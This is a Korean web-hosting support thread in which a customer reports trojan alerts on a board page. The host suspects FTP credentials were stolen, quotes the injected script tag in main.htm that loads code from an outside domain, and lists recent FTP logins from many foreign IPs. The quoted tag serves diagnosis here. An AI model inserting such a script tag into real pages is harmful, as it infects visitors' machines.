ftp 작업을 하시는 pc 에 악성코드가 감염되어, ftp 접속정보가 유출되는것으로 예상되니 필히 바이러스 정밀점검및, 플레쉬 플레이어 / 아크로벳 리더 업데이트를 해보시기 바랍니다. 반드시 pc 내 바이러스 정밀 점검및, 프로그램 업데이트 후에 ftp 접속을 하셔야 재공격을 방지할 수 있습니다. (보내드린 메일에 자세한 안내가 되어 있습니다.) ---------------------------------------------------- k_nell at naver.com 으로 접속정보 답변메일을 송신하였습니다. 메일이 스팸함으로 이동될수도 있으니, 스팸함도 체크를 하여 보시기 바랍니다. main.htm 파일을 다운 받아 메모장으로 열어보시면, <noframes><script src=http://denisen.com.cn/editor/LICENSE.php ></script><body> 다음 줄이 보입니다. 이 줄이 아마 변조된(추가된) 내용으로 보여집니다. ftp 작업을 하신적이 최근에 없다면(소스수정등) 서버 백업본으로 변조전 자료로 복구를 시도해 볼 수 있습니다. (재문의주세요) 감사합니다. 최근 ftp 접속 로그 knell ftpd19641 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00) knell ftpd19640 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00) knell ftpd19638 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00) knell ftpd19637 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00) knell ftpd19635 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00) knell ftpd19484 122.35.41.114 Wed Jun 16 01:25 - 01:25 (00:00) knell ftpd14843 122.35.41.114 Wed Jun 16 00:44 - 01:00 (00:16) knell ftpd14554 122.35.41.114 Wed Jun 16 00:44 - 00:44 (00:00) knell ftpd24639 63.247.72.107 Sun Jun 13 00:52 - 00:58 (00:05) knell ftpd2190 122.35.41.114 Sat Jun 12 14:13 - 14:15 (00:02) knell ftpd21196 122.35.41.114 Sat Jun 12 13:54 - 14:10 (00:15) knell ftpd20905 122.35.41.114 Sat Jun 12 13:54 - 13:54 (00:00) knell ftpd28892 201.33.19.170 Sat Jun 12 07:57 - 08:11 (00:14) knell ftpd28250 216.157.153.2 Fri Jun 11 14:32 - 14:32 (00:00) knell ftpd24805 216.157.153.2 Fri Jun 11 14:27 - 14:31 (00:04) knell ftpd9271 72.55.188.68 Thu Jun 10 21:33 - 21:38 (00:05) knell ftpd19759 75.125.50.2 Wed Jun 9 11:08 - 11:15 (00:06) knell ftpd17592 174.120.117.2 Tue Jun 8 16:33 - 16:35 (00:02) knell ftpd14664 122.35.41.114 Mon Jun 7 19:44 - 19:54 (00:10) knell ftpd24703 74.52.198.194 Mon Jun 7 19:12 - 19:19 (00:06) knell ftpd6481 74.54.239.70 Mon Jun 7 14:13 - 14:20 (00:06) knell ftpd28008 193.142.209.212 Mon Jun 7 13:27 - 13:35 (00:08) knell ftpd22783 72.18.135.27 Sun Jun 6 23:58 - 00:02 (00:04) knell ftpd12904 95.130.170.2 Sun Jun 6 14:23 - 14:32 (00:08) knell ftpd21961 216.81.74.64 Sun Jun 6 01:29 - 01:29 (00:00) knell ftpd18601 216.81.74.64 Sun Jun 6 01:24 - 01:29 (00:05) knell ftpd12755 216.18.214.234 Sat Jun 5 11:27 - 11:30 (00:03) knell ftpd21135 211.49.162.20 Fri Jun 4 21:27 - 21:27 (00:00) knell ftpd29643 114.108.177.71 Fri Jun 4 02:41 - 02:42 (00:00) knell ftpd25334 216.18.203.210 Thu Jun 3 08:34 - 08:38 (00:03) knell ftpd7845 64.71.32.29 Wed Jun 2 16:06 - 16:14 (00:07) knell ftpd8717 122.35.41.114 Wed Jun 2 06:53 - 07:10 (00:16) knell ftpd2552 195.177.227.29 Tue Jun 1 23:05 - 23:13 (00:08) knell ftpd12986 67.222.129.64 Tue Jun 1 13:19 - 13:24 (00:04) 릭 wrote.. : : : 계정아이디 knell, 페이지 주소 http://knell.byus.net/psynic : 계정의 특정 페이지(위)에 접속할 때마다 트로이목마가 뜨는데요, : 예전 제가 사용했던 같은 류의 게시판과 비슷한 증상을 보이다가 : (그 게시판은 갑자기 php에 오류가 생겨 사용할 수 없게 되었습니다만) : 오늘 네이버백신 실시간감시 작동중 접속해본 결과 계속해서 바이러스가 발견됨을 확인했습니다. : : 계정 내 모든 파일을 내려받은 후 백신으로 치료, 재업로드 했으나 마찬가지였고요. : (제로보드 쪽의 몇몇 data 파일들이 다운로드도 업로드도 삭제도 실패하긴 했습니다.) : : 혹시 계정상에 문제가 생긴 건가 하여 문의드려봅니다. 또는, 해결방법이 있을런지요?
